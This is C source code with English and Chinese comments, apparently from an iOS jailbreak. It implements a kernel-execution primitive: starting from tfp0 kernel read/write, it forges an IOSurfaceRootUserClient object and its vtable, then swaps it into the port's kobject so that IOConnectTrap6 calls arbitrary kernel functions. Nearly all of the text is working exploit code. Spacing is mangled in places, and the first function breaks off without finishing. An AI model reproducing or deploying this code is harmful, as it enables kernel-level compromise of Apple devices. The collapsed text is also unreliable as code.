boolinit_kexec() { #if __arm64e__ if (!parameters_init()) returnfalse; kernel_task_port = tfp0; if (!MACH_PORT_VALID(kernel_task_port)) returnfalse; current_task = ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); if (!KERN_POINTER_VALID(current_task)) returnfalse; kernel_task = ReadKernel64(getoffset(kernel_task)); if (!KERN_POINTER_VALID(kernel_task)) returnfalse; if (!kernel_call_init()) returnfalse; #else
// 1. 创建一个 IOUserClient user_client = prepare_user_client(); if (!MACH_PORT_VALID(user_client)) returnfalse;
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable // 2. 获取 IOUserClient 的内核地址,它是一个 ipc_port IOSurfaceRootUserClient_port = get_address_of_port(proc_struct_addr(), user_client); // UserClients are just mach_ports, so we find its address if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_port)) returnfalse;
// 3. 从 ipc_port->kobject 获取 IOUserClient 对象 IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_addr)) returnfalse;
// 4. 虚函数指针位于 C++ 对象的起始地址 kptr_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_vtab)) returnfalse;
// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
// Create the vtable in the kernel memory, then copy the existing vtable into there // 5. 构造和拷贝虚函数表 fake_vtable = kmem_alloc(fake_kalloc_size); if (!KERN_POINTER_VALID(fake_vtable)) returnfalse;
for (int i = 0; i < 0x200; i++) { WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8)); }
// Create the fake user client // 6. 构造一个 IOUserClient 对象,并拷贝内核中 IOUserClient 的内容到构造的对象 fake_client = kmem_alloc(fake_kalloc_size); if (!KERN_POINTER_VALID(fake_client)) returnfalse;
for (int i = 0; i < 0x200; i++) { WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8)); }
// Write our fake vtable into the fake user client // 7. 将构造的虚函数表写入构造的 IOUserClient 对象 WriteKernel64(fake_client, fake_vtable);
// Replace the user client with ours // 8. 将构造的 IOUserClient 对象写回 IOUserClient 对应的 ipc_port WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);
// Now the userclient port we have will look into our fake user client rather than the old one
kptr_tkexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6) { kptr_t returnval = 0; pthread_mutex_lock(&kexec_lock); #if __arm64e__ returnval = kernel_call_7(ptr, 7, x0, x1, x2, x3, x4, x5, x6); #else // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed // through like normal.
// Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents // (i'm not actually sure if the switch back is necessary but meh)